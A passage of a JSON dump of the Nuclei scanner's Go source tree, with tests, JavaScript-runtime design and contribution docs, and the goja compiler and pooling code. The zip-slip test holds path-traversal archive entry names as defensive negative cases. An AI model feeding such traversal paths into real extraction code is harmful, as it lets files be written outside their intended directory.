    "content": "package installer\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/utils/generic\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestVersionCheck(t *testing.T) {\n\terr := NucleiVersionCheck()\n\trequire.Nil(t, err)\n\tcfg := config.DefaultConfig\n\tif generic.EqualsAny(\"\", cfg.LatestNucleiIgnoreHash, cfg.LatestNucleiVersion, cfg.LatestNucleiTemplatesVersion) {\n\t\t// all above values cannot be empty\n\t\tt.Errorf(\"something went wrong got empty response nuclei-version=%v templates-version=%v ignore-hash=%v\", cfg.LatestNucleiVersion, cfg.LatestNucleiTemplatesVersion, cfg.LatestNucleiIgnoreHash)\n\t}\n}\n"
  },
  {
    "path": "pkg/installer/zipslip_unix_test.go",
    "content": "package installer\n\nimport (\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\t\"time\"\n\n\tosutils \"github.com/projectdiscovery/utils/os\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar _ fs.FileInfo = &tempFileInfo{}\n\ntype tempFileInfo struct {\n\tname string\n}\n\nfunc (t *tempFileInfo) Name() string {\n\treturn t.name\n}\n\nfunc (t *tempFileInfo) ModTime() time.Time {\n\treturn time.Now()\n}\n\nfunc (t *tempFileInfo) Mode() fs.FileMode {\n\treturn fs.ModePerm\n}\n\nfunc (t tempFileInfo) IsDir() bool {\n\treturn false\n}\n\nfunc (t *tempFileInfo) Size() int64 {\n\treturn 100\n}\n\nfunc (t *tempFileInfo) Sys() any {\n\treturn nil\n}\n\nfunc TestZipSlip(t *testing.T) {\n\tif osutils.IsWindows() {\n\t\tt.Skip(\"Skipping Zip LFI Check on Windows\")\n\t}\n\n\tconfiguredTemplateDirectory := filepath.Join(os.TempDir(), \"templates\")\n\tdefer func() {\n\t\t_ = os.RemoveAll(configuredTemplateDirectory)\n\t}()\n\n\tt.Run(\"negative scenarios\", func(t *testing.T) {\n\t\tfilePathsFromZip := []string{\n\t\t\t\"./../nuclei-templates/../cve/test.yaml\",\n\t\t\t\"nuclei-templates/../cve/test.yaml\",\n\t\t\t\"nuclei-templates/././../cve/test.yaml\",\n\t\t\t\"nuclei-templates/.././../cve/test.yaml\",\n\t\t\t\"nuclei-templates/.././../cve/../test.yaml\",\n\t\t}\n\t\ttm := TemplateManager{}\n\n\t\tfor _, filePathFromZip := range filePathsFromZip {\n\t\t\tvar tmp fs.FileInfo = &tempFileInfo{name: filePathFromZip}\n\t\t\twritePath := tm.getAbsoluteFilePath(configuredTemplateDirectory, filePathFromZip, tmp)\n\t\t\trequire.Equal(t, \"\", writePath, filePathFromZip)\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "pkg/js/CONTRIBUTE.md",
    "content": "# JS Contribution Guide\n\nThe JS layer provides a mechanism to add scriptability into the Nuclei Engine. The `pkg/js` directory contains the implementation of the JS runtime in Nuclei. This document provides a guide to adding new libraries, extending existing ones and other types of contributions.\n\n## First step \n\nThe Very First before making any type of contribution to javascript runtime in nuclei is taking a look at [design.md](./DESIGN.md) to understand spread out design of nuclei javascript runtime.\n\n\n## Documentation/Typo Contribution\n\nMost of JavaScript API Reference documentation is auto-generated with help of code-generation and [jsdocgen](./devtools/jsdocgen/README.md) and hence any type of documentation contribution are always welcome and can be done by editing [JavaScript jsdoc](./generated/js/) files\n\n\n## Improving Existing Libraries(aka node_modules)\n\nImproving existing libraries includes adding new functions, types, fixing bugs etc. to any of the existing libraries in [libs](./libs/) directory. This is very easy to achieve and can be done by following steps below\n\n1. Do suggested changes in targeted package in [libs](./libs/) directory\n2. Refer [devtools](./devtools/README.md) to autogenerate bindings and documentation\n3. Check for errors / improve documentation in generated documentation in [generated/js/*](./generated/js/*) directory\n\n## Adding New Libraries(aka node_modules)\n\nLibraries/node_modules represent adding new protocol or something similar and should not include helper functions or types/objects .Adding new libraries requires few more steps than improving existing libraries and can be done by following steps below\n\n1. Refer any existing library in [libs](./libs/) directory to understand style and structure of node_modules\n2. Create new package in [libs](./libs/) directory with suggested protocol / library \n3. Refer [devtools](./devtools/README.md) to autogenerate bindings and documentation\n4. Check for errors / improve documentation in generated documentation in [generated/js/*](./generated/js/*) directory\n5. Import newly created library with '_' import in [compiler](./compiler/compiler.go)\n\n\n## Adding Helper Objects/Types/Functions\n\nHelper objects/types/functions can simply be understood as javascript utils to simplify writing javascript and reduce code duplication in javascript templates. Helper functions/objects are divided into two categories\n\n### javascript based helpers\n\njavascript based helpers are written in javascript and are available in javascript runtime by default without needing to import any module. These are located in [global/js](./global/js/) directory and are exported using [exports.js](./global/exports.js) file.\n\n\n### go based helpers\n\ngo based helpers are written in go and can import any go library if required. Minimal/Simple helper functions can be directly added using `runtime.Set(\"function_name\", function)` in [global/scripts.go](./global/scripts.go) file. For more complex helpers, a new package can be created in [libs](./libs/) directory and can be imported in [global/scripts.go](./global/scripts.go) file. Refer to existing implementations in [globals](./global/) directory for more details.\n\n\n### Updating / Publishing Docs\n\nJavaScript Protocol Documentation is auto-generated using [jsdoc] and is hosted at [js-proto-docs](https://projectdiscovery.github.io/js-proto-docs/). To update documentation, please follow steps mentioned at [projectdiscovery/js-proto-docs](https://github.com/projectdiscovery/js-proto-docs)\n\n\n### Go Code Guidelines\n\n1. Always use 'protocolstate.Dialer' (i.e fastdialer) to dial connections instead of net.Dial this has many benefits along with proxy support , **network policy** usage (i.e local network access can be disabled from cli)\n2. When usage of 'protocolstate.Dialer' is not possible due to some reason ex: imported library does not accept dialer etc. then validate host using 'protocolstate.IsHostAllowed' before dialing connection.\n```go\n\tif !protocolstate.IsHostAllowed(host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n```\n3. Keep exported package clean. Do not keep unnecessary global exports which the consumer of the API doesn't need to know about. Keep only user-exposed API public.\n4. Use timeouts and context cancellation when calling Network related stuff. Also make sure to close your connections or provide a mechanism to the user of the API to do so.\n5. Always try to return single types from inside javascript with an error like `(IsRDP, error)` instead of returning multiple values `(name, version string, err error)`. The second one will get converted to an array is much harder for consumers to deal with. Instead, try to return `Structures` which will be accessible natively.\n\n\n### JavaScript Code Guidelines\n\n1. Catch exceptions using `try/catch` blocks and handle errors gracefully, showing useful information. By default, the implementation returns a Go error on an unhandled exception along with stack trace in debug mode.\n2. Use `let`/`const` instead of `var` to declare variables.\n3. Keep the global scope clean. The VMs are not shared so do not rely on VM state.\n4. Use functions to divide the code and keep the implementation clean. "
  },
  {
    "path": "pkg/js/DESIGN.md",
    "content": "# javascript protocol design\n\njavascript protocol is implemented using `goja`(pure go javascript VM) and overall logic/design of its usage is split into multiple packages/directories\n\n## [api_reference](./api_reference/)\n\napi_reference contains a static site generated using `jsdoc` . It contains documentation for all the exposed functions and types in javascript protocol.\n\n## [compiler](./compiler/)\n\ncompiler contains abstracted logic for compiling and executing javascript code. It also handles loading javascript aka node modules , adding builtin / global types and functions etc.\n\n## [devtools](./devtools/README.md)\n\ndevtools contains development related tools to automate boring tasks like generating bindings, adding jsdoc comments, generating api reference etc.\n\n## [generated](./generated/README.md)\n\ngenerated contains two types of generated code \n\n### [- generated/go](./generated/go/)\n\ngenerated/go contains actual bindings for native go packages using `goja` this involves exposing libraries,functions and types written in go to javascript.\n\n### [- generated/js](./generated/js/)\n\ngenerated/js contains a visual representation of all exposed functions and types in javascript minus the actual implementation . it is meant to be used as a reference for developers and generating api reference.\n\n## [global](./global/)\n\nglobal (or builtin) contains all builtin types and functions that are by default available in javascript runtime without needing to import any module using 'require' keyword. It's split into 2 sections\n\n### [- global/js](./global/js/)\n\nglobal/js contains javascript code and it acts more like a javascript library and contains functions / types written in javascript itself and exported using [exports.js](./global/exports.js)\n\n### [- global/scripts.go](./global/scripts.go)\n\nglobal/scripts.go contains declaration and implementation of functions written in go and are made available in javascript runtime. It also contains loading javascript based global functions this is done by executing javascript code in every vm instance.\n\n## [gojs](./gojs/)\n\ngojs contain minimalistic types and interfaces used to register packages written in go as node_modules in javascript runtime.\n\n## [libs](./libs/)\n\nlibs contains all go native packages that contain **actual** implementation of all the functions and types that are exposed to javascript runtime."
  },
  {
    "path": "pkg/js/THANKS.md",
    "content": "# THANKS\n\n- https://github.com/dop251/goja - Pure Go JavaScript VM used by nuclei JS layer.\n- https://github.com/gogap/gojs-tool - Inspiration for code generation used in JS Libraries addition.\n- https://github.com/ropnop/kerbrute - Kerberos Module of JS layer\n- https://github.com/praetorian-inc/fingerprintx - A lot of Network Protocol fingerprinting functionality is used from `fingerprintx` package. \n- https://github.com/zmap/zgrab2 - Used for SMB and SSH protocol handshake Metadata gathering.\n\nA lot of other Go based libraries are used in the javascript layer. Thanks goes to the creators and maintainers."
  },
  {
    "path": "pkg/js/compiler/compiler.go",
    "content": "// Package compiler provides a compiler for the goja runtime.\npackage compiler\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/kitabisa/go-ci\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tcontextutil \"github.com/projectdiscovery/utils/context\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\t// ErrJSExecDeadline is the error returned when allotted time for script execution exceeds\n\tErrJSExecDeadline = errkit.New(\"js engine execution deadline exceeded\").SetKind(errkit.ErrKindDeadline).Build()\n)\n\n// Compiler provides a runtime to execute goja runtime\n// based javascript scripts efficiently while also\n// providing them access to custom modules defined in libs/.\ntype Compiler struct{}\n\n// New creates a new compiler for the goja runtime.\nfunc New() *Compiler {\n\treturn &Compiler{}\n}\n\n// ExecuteOptions provides options for executing a script.\ntype ExecuteOptions struct {\n\t// ExecutionId is the id of the execution\n\tExecutionId string\n\n\t// Callback can be used to register new runtime helper functions\n\t// ex: export etc\n\tCallback func(runtime *goja.Runtime) error\n\n\t// Cleanup is extra cleanup function to be called after execution\n\tCleanup func(runtime *goja.Runtime)\n\n\t// Source is original source of the script\n\tSource *string\n\n\tContext context.Context\n\n\tTimeoutVariants *types.Timeouts\n\n\t// Manually exported objects\n\texports map[string]interface{}\n}\n\n// ExecuteArgs is the arguments to pass to the script.\ntype ExecuteArgs struct {\n\tArgs        map[string]interface{} //these are protocol variables\n\tTemplateCtx map[string]interface{} // templateCtx contains template scoped variables\n}\n\n// Map returns a merged map of the TemplateCtx and Args fields.\nfunc (e *ExecuteArgs) Map() map[string]interface{} {\n\treturn generators.MergeMaps(e.TemplateCtx, e.Args)\n}\n\n// NewExecuteArgs returns a new execute arguments.\nfunc NewExecuteArgs() *ExecuteArgs {\n\treturn &ExecuteArgs{\n\t\tArgs:        make(map[string]interface{}),\n\t\tTemplateCtx: make(map[string]interface{}),\n\t}\n}\n\n// ExecuteResult is the result of executing a script.\ntype ExecuteResult map[string]interface{}\n\n// Map returns the map representation of the ExecuteResult\nfunc (e ExecuteResult) Map() map[string]interface{} {\n\tif e == nil {\n\t\treturn make(map[string]interface{})\n\t}\n\treturn e\n}\n\n// NewExecuteResult returns a new execute result instance\nfunc NewExecuteResult() ExecuteResult {\n\treturn make(map[string]interface{})\n}\n\n// GetSuccess returns whether the script was successful or not.\nfunc (e ExecuteResult) GetSuccess() bool {\n\tif e == nil {\n\t\treturn false\n\t}\n\tval, ok := e[\"success\"].(bool)\n\tif !ok {\n\t\treturn false\n\t}\n\treturn val\n}\n\n// ExecuteWithOptions executes a script with the provided options.\nfunc (c *Compiler) ExecuteWithOptions(program *goja.Program, args *ExecuteArgs, opts *ExecuteOptions) (ExecuteResult, error) {\n\tif opts == nil {\n\t\topts = &ExecuteOptions{Context: context.Background()}\n\t}\n\tif args == nil {\n\t\targs = NewExecuteArgs()\n\t}\n\t// handle nil maps\n\tif args.TemplateCtx == nil {\n\t\targs.TemplateCtx = make(map[string]interface{})\n\t}\n\tif args.Args == nil {\n\t\targs.Args = make(map[string]interface{})\n\t}\n\t// merge all args into templatectx\n\targs.TemplateCtx = generators.MergeMaps(args.TemplateCtx, args.Args)\n\n\t// execute with context and timeout\n\n\tctx, cancel := context.WithTimeoutCause(opts.Context, opts.TimeoutVariants.JsCompilerExecutionTimeout, ErrJSExecDeadline)\n\tdefer cancel()\n\t// execute the script\n\tresults, err := contextutil.ExecFuncWithTwoReturns(ctx, func() (val goja.Value, err error) {\n\t\t// TODO(dwisiswant0): remove this once we get the RCA.\n\t\tdefer func() {\n\t\t\tif ci.IsCI() {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif r := recover(); r != nil {\n\t\t\t\terr = fmt.Errorf(\"panic: %v\", r)\n\t\t\t}\n\t\t}()\n\n\t\treturn ExecuteProgram(program, args, opts)\n\t})\n\tif err != nil {\n\t\tif val, ok := err.(*goja.Exception); ok {\n\t\t\tif x := val.Unwrap(); x != nil {\n\t\t\t\terr = x\n\t\t\t}\n\t\t}\n\t\te := NewExecuteResult()\n\t\te[\"error\"] = err.Error()\n\t\treturn e, err\n\t}\n\tvar res ExecuteResult\n\tif opts.exports != nil {\n\t\tres = ExecuteResult(opts.exports)\n\t\topts.exports = nil\n\t} else {\n\t\tres = NewExecuteResult()\n\t}\n\tres[\"response\"] = results.Export()\n\tres[\"success\"] = results.ToBoolean()\n\treturn res, nil\n}\n\n// if the script uses export/ExportAS tokens then we can run it in IIFE mode\n// but if not we can't run it\nfunc CanRunAsIIFE(script string) bool {\n\treturn stringsutil.ContainsAny(script, exportAsToken, exportToken)\n}\n\n// SourceIIFEMode is a mode where the script is wrapped in a function and compiled.\n// This is used when the script is not exported or exported as a function.\nfunc SourceIIFEMode(script string, strict bool) (*goja.Program, error) {\n\tval := fmt.Sprintf(`\n\t\t(function() {\n\t\t\t%s\n\t\t})()\n\t`, script)\n\treturn goja.Compile(\"\", val, strict)\n}\n\n// SourceAutoMode is a mode where the script is wrapped in a function and compiled.\n// This is used when the script is exported or exported as a function.\nfunc SourceAutoMode(script string, strict bool) (*goja.Program, error) {\n\tif !CanRunAsIIFE(script) {\n\t\t// this will not be run in a pooled runtime\n\t\treturn goja.Compile(\"\", script, strict)\n\t}\n\tval := fmt.Sprintf(`\n\t\t(function() {\n\t\t\t%s\n\t\t})()\n\t`, script)\n\treturn goja.Compile(\"\", val, strict)\n}\n"
  },
  {
    "path": "pkg/js/compiler/compiler_test.go",
    "content": "package compiler\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\nfunc TestNewCompilerConsoleDebug(t *testing.T) {\n\tgotString := \"\"\n\tgologger.DefaultLogger.SetMaxLevel(levels.LevelDebug)\n\tgologger.DefaultLogger.SetWriter(&noopWriter{\n\t\tCallback: func(data []byte, level levels.Level) {\n\t\t\tgotString = string(data)\n\t\t},\n\t})\n\n\tcompiler := New()\n\tp, err := SourceAutoMode(\"console.log('hello world');\", false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t_, err = compiler.ExecuteWithOptions(p, NewExecuteArgs(), &ExecuteOptions{Context: context.Background(),\n\t\tTimeoutVariants: &types.Timeouts{JsCompilerExecutionTimeout: time.Duration(20) * time.Second}},\n\t)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif !strings.HasSuffix(gotString, \"hello world\") {\n\t\tt.Fatalf(\"console.log not working, got=%v\", gotString)\n\t}\n}\n\ntype noopWriter struct {\n\tCallback func(data []byte, level levels.Level)\n}\n\nfunc (n *noopWriter) Write(data []byte, level levels.Level) {\n\tif n.Callback != nil {\n\t\tn.Callback(data, level)\n\t}\n}\n"
  },
  {
    "path": "pkg/js/compiler/init.go",
    "content": "package compiler\n\nimport (\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// jsprotocolInit\n\nvar (\n\tPoolingJsVmConcurrency  = 100\n\tNonPoolingVMConcurrency = 20\n\tm                       sync.Mutex\n)\n\n// Init initializes the javascript protocol\nfunc Init(opts *types.Options) error {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\tif opts.JsConcurrency < 100 {\n\t\t// 100 is reasonable default\n\t\topts.JsConcurrency = 100\n\t}\n\tPoolingJsVmConcurrency = opts.JsConcurrency\n\tPoolingJsVmConcurrency -= NonPoolingVMConcurrency\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/js/compiler/non-pool.go",
    "content": "package compiler\n\nimport (\n\t\"sync\"\n\n\t\"github.com/Mzack9999/goja\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\nvar (\n\tephemeraljsc    *syncutil.AdaptiveWaitGroup\n\tlazyFixedSgInit = sync.OnceFunc(func() {\n\t\tephemeraljsc, _ = syncutil.New(syncutil.WithSize(NonPoolingVMConcurrency))\n\t})\n)\n\nfunc executeWithoutPooling(p *goja.Program, args *ExecuteArgs, opts *ExecuteOptions) (result goja.Value, err error) {\n\tlazyFixedSgInit()\n\tephemeraljsc.Add()\n\tdefer ephemeraljsc.Done()\n\truntime := createNewRuntime()\n\treturn executeWithRuntime(runtime, p, args, opts)\n}\n"
  },
  {
    "path": "pkg/js/compiler/pool.go",
    "content": "package compiler\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"sync\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/Mzack9999/goja_nodejs/console\"\n\t\"github.com/Mzack9999/goja_nodejs/require\"\n\t\"github.com/kitabisa/go-ci\"\n\t\"github.com/projectdiscovery/gologger\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libbytes\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libfs\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libikev2\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libkerberos\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libldap\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmssql\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmysql\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libnet\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/liboracle\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpop3\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpostgres\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librdp\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libredis\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librsync\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmb\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmtp\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libssh\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libstructs\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libtelnet\"\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libvnc\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/global\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/goconsole\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\nconst (\n\texportToken   = \"Export\"\n\texportAsToken = \"ExportAs\"\n)\n\nvar (\n\tr                *require.Registry\n\tlazyRegistryInit = sync.OnceFunc(func() {\n\t\tr = new(require.Registry) // this can be shared by multiple runtimes\n\t\t// autoregister console node module with default printer it uses gologger backend\n\t\trequire.RegisterNativeModule(console.ModuleName, console.RequireWithPrinter(goconsole.NewGoConsolePrinter()))\n\t})\n\tpooljsc    *syncutil.AdaptiveWaitGroup\n\tlazySgInit = sync.OnceFunc(func() {\n\t\tpooljsc, _ = syncutil.New(syncutil.WithSize(PoolingJsVmConcurrency))\n\t})\n\tsgResizeCheck = func(ctx context.Context) {\n\t\t// resize check point\n\t\tif pooljsc.Size != PoolingJsVmConcurrency {\n\t\t\tif err := pooljsc.Resize(ctx, PoolingJsVmConcurrency); err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"Could not resize workpool: %s\\n\", err)\n\t\t\t}\n\t\t}\n\t}\n)\n\nvar gojapool = &sync.Pool{\n\tNew: func() interface{} {\n\t\treturn createNewRuntime()\n\t},\n}\n\nfunc executeWithRuntime(runtime *goja.Runtime, p *goja.Program, args *ExecuteArgs, opts *ExecuteOptions) (result goja.Value, err error) {\n\tdefer func() {\n\t\t// reset before putting back to pool\n\t\t_ = runtime.GlobalObject().Delete(\"template\") // template ctx\n\t\t// remove all args\n\t\tfor k := range args.Args {\n\t\t\t_ = runtime.GlobalObject().Delete(k)\n\t\t}\n\t\tif opts != nil && opts.Cleanup != nil {\n\t\t\topts.Cleanup(runtime)\n\t\t}\n\t\truntime.RemoveContextValue(\"executionId\")\n\t}()\n\n\t// TODO(dwisiswant0): remove this once we get the RCA.\n\tdefer func() {\n\t\tif ci.IsCI() {\n\t\t\treturn\n\t\t}\n\n\t\tif r := recover(); r != nil {\n\t\t\terr = fmt.Errorf(\"panic: %s\", r)\n\t\t}\n\t}()\n\n\t// set template ctx\n\t_ = runtime.Set(\"template\", args.TemplateCtx)\n\t// set args\n\tfor k, v := range args.Args {\n\t\t_ = runtime.Set(k, v)\n\t}\n\t// register extra callbacks if any\n\tif opts != nil && opts.Callback != nil {\n\t\tif err := opts.Callback(runtime); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// inject execution id and context\n\truntime.SetContextValue(\"executionId\", opts.ExecutionId)\n\n\t// execute the script\n\treturn runtime.RunProgram(p)\n}\n\n// ExecuteProgram executes a compiled program with the default options.\n// it deligates if a particular program should run in a pooled or non-pooled runtime\nfunc ExecuteProgram(p *goja.Program, args *ExecuteArgs, opts *ExecuteOptions) (result goja.Value, err error) {\n\tif opts.Source == nil {\n\t\t// not-recommended anymore\n\t\treturn executeWithoutPooling(p, args, opts)\n\t}\n\tif !stringsutil.ContainsAny(*opts.Source, exportAsToken, exportToken) {\n\t\t// not-recommended anymore\n\t\treturn executeWithoutPooling(p, args, opts)\n\t}\n\treturn executeWithPoolingProgram(p, args, opts)\n}\n\n// executes the actual js program\nfunc executeWithPoolingProgram(p *goja.Program, args *ExecuteArgs, opts *ExecuteOptions) (result goja.Value, err error) {\n\t// its unknown (most likely cannot be done) to limit max js runtimes at a moment without making it static\n\t// unlike sync.Pool which reacts to GC and its purposes is to reuse objects rather than creating new ones\n\tlazySgInit()\n\tsgResizeCheck(opts.Context)\n\n\tpooljsc.Add()\n\tdefer pooljsc.Done()\n\truntime := gojapool.Get().(*goja.Runtime)\n\tdefer gojapool.Put(runtime)\n\tvar buff bytes.Buffer\n\topts.exports = make(map[string]interface{})\n\n\tdefer func() {\n\t\t// remove below functions from runtime\n\t\t_ = runtime.GlobalObject().Delete(exportAsToken)\n\t\t_ = runtime.GlobalObject().Delete(exportToken)\n\t}()\n\t// register export functions\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName:        \"Export\", // we use string instead of const for documentation generation\n\t\tSignatures:  []string{\"Export(value any)\"},\n\t\tDescription: \"Converts a given value to a string and is appended to output of script\",\n\t\tFuncDecl: func(call goja.FunctionCall, runtime *goja.Runtime) goja.Value {\n\t\t\tif len(call.Arguments) == 0 {\n\t\t\t\treturn goja.Null()\n\t\t\t}\n\t\t\tfor _, arg := range call.Arguments {\n\t\t\t\tif out := stringify(arg, runtime); out != \"\" {\n\t\t\t\t\tbuff.WriteString(out)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn goja.Null()\n\t\t},\n\t})\n\t// register exportAs function\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName:        \"ExportAs\", // Export\n\t\tSignatures:  []string{\"ExportAs(key string,value any)\"},\n\t\tDescription: \"Exports given value with specified key and makes it available in DSL and response\",\n\t\tFuncDecl: func(call goja.FunctionCall, runtime *goja.Runtime) goja.Value {\n\t\t\tif len(call.Arguments) != 2 {\n\t\t\t\t// this is how goja expects errors to be returned\n\t\t\t\t// and internally it is done same way for all errors\n\t\t\t\tpanic(runtime.ToValue(\"ExportAs expects 2 arguments\"))\n\t\t\t}\n\t\t\tkey := call.Argument(0).String()\n\t\t\tvalue := call.Argument(1)\n\t\t\topts.exports[key] = stringify(value, runtime)\n\t\t\treturn goja.Null()\n\t\t},\n\t})\n\tval, err := executeWithRuntime(runtime, p, args, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif val.Export() != nil {\n\t\t// append last value to output\n\t\tbuff.WriteString(stringify(val, runtime))\n\t}\n\t// and return it as result\n\treturn runtime.ToValue(buff.String()), nil\n}\n\n// Internal purposes i.e generating bindings\nfunc InternalGetGeneratorRuntime() *goja.Runtime {\n\truntime := gojapool.Get().(*goja.Runtime)\n\treturn runtime\n}\n\nfunc getRegistry() *require.Registry {\n\tlazyRegistryInit()\n\treturn r\n}\n\nfunc createNewRuntime() *goja.Runtime {\n\truntime := protocolstate.NewJSRuntime()\n\t_ = getRegistry().Enable(runtime)\n\t// by default import below modules every time\n\t_ = runtime.Set(\"console\", require.Require(runtime, console.ModuleName))\n\n\t// Register embedded javascript helpers\n\tif err := global.RegisterNativeScripts(runtime); err != nil {\n\t\tgologger.Error().Msgf(\"Could not register scripts: %s\\n\", err)\n\t}\n\treturn runtime\n}\n\n// stringify converts a given value to string\n// if its a struct it will be marshalled to json\nfunc stringify(gojaValue goja.Value, runtime *goja.Runtime) string {\n\tvalue := gojaValue.Export()\n\tif value == nil {\n\t\treturn \"\"\n\t}\n\tkind := reflect.TypeOf(value).Kind()\n\tif kind == reflect.Struct || kind == reflect.Ptr && reflect.ValueOf(value).Elem().Kind() == reflect.Struct {\n\t\t// in this case we must use JSON.stringify to convert to string\n\t\t// because json.Marshal() utilizes json tags when marshalling\n\t\t// but goja has custom implementation of json.Marshal() which does not\n\t\t// since we have been using `to_json` in all our examples we must stick to it\n\t\t// marshal structs or struct pointers to json automatically\n\t\tjsonStringify, ok := goja.AssertFunction(runtime.Get(\"to_json\"))\n\t\tif ok {\n\t\t\tresult, err := jsonStringify(goja.Undefined(), gojaValue)\n\t\t\tif err == nil {\n\t\t\t\treturn result.String()\n\t\t\t}\n\t\t}\n\t\t// unlikely but if to_json threw some error use native json.Marshal\n\t\tval := value\n\t\tif kind == reflect.Ptr {\n\t\t\tval = reflect.ValueOf(value).Elem().Interface()\n\t\t}\n\t\tbin, err := json.Marshal(val)\n\t\tif err == nil {\n\t\t\treturn string(bin)\n\t\t}\n\t}\n\t// for everything else stringify\n\treturn fmt.Sprintf(\"%+v\", value)\n}\n"
  },
  {
    "path": "pkg/js/devtools/README.md",
    "content": "## devtools\n\ndevtools contains tools and scripts to automate boring tasks related to javascript layer/ packages.\n\n### bindgen\n\n[bindgen](./bindgen/README.md) is a tool that automatically generated bindings for native go packages with 'goja'\n\n\n### scrapefuncs\n\n[scrapefuncs](./scrapefuncs/README.md) is a tool to scrapes all helper functions exposed in javascript with help of go/ast and generates a js file with jsdoc comments using LLM (OpenAI)\n\n\n### Generating API Reference (aka static site using javascript files using jsdoc)\n\n```console\njsdoc -R [Homepage.md] -r -d api_reference -t [optional: jsdoc theme to use] generated/js\n```\n\ngenerated static site will be available at `api_reference/` directory and can be verified using simplehttpserver\n\n```console\nsimplehttpserver\n```\n\nand then open `http://localhost:8000/` in browser\n\n\n### Notes\n\nwe currently use [clean-jsdoc-theme](https://www.npmjs.com/package/clean-jsdoc-theme) demo at [sample-jsproto-docs/](https://projectdiscovery.github.io/js-proto-docs/)"
  },
  {
    "path": "pkg/js/devtools/bindgen/INSTALL.md",
    "content": "# INSTALL\n\n1. Requires `js-beautify` node plugin installed in `$PATH`.\n2. Requires `gofmt` installed in `$PATH`.\n"
  },
  {
    "path": "pkg/js/devtools/bindgen/README.md",
    "content": "## bindgen (aka bindings generator)\n\nbindgen is a tool that automatically generated bindings for native go packages with 'goja'\n\nNative Go packages are available [here](../../libs/)\n\nGenerated Output is available [here](../../generated/)\n\nbindgen generates 3 different types of outputs \n\n- `go` => this directory contains corresponding goja bindings (actual bindings code) ex: [kerberos.go](../../generated/go/libkerberos/kerberos.go)\n- `js` => this is more of a javascript **representation** of all exposed functions and types etc. in javascript ex: [kerberos.js](../../generated/js/libkerberos/kerberos.js) and does not server any functional purpose other than reference\n- `markdown` => autogenerated markdown documentation for each library / package ex: [kerberos.md](../../generated/markdown/libkerberos/kerberos.md)\n\n"
  },
  {
    "path": "pkg/js/devtools/bindgen/cmd/bindgen/main.go",
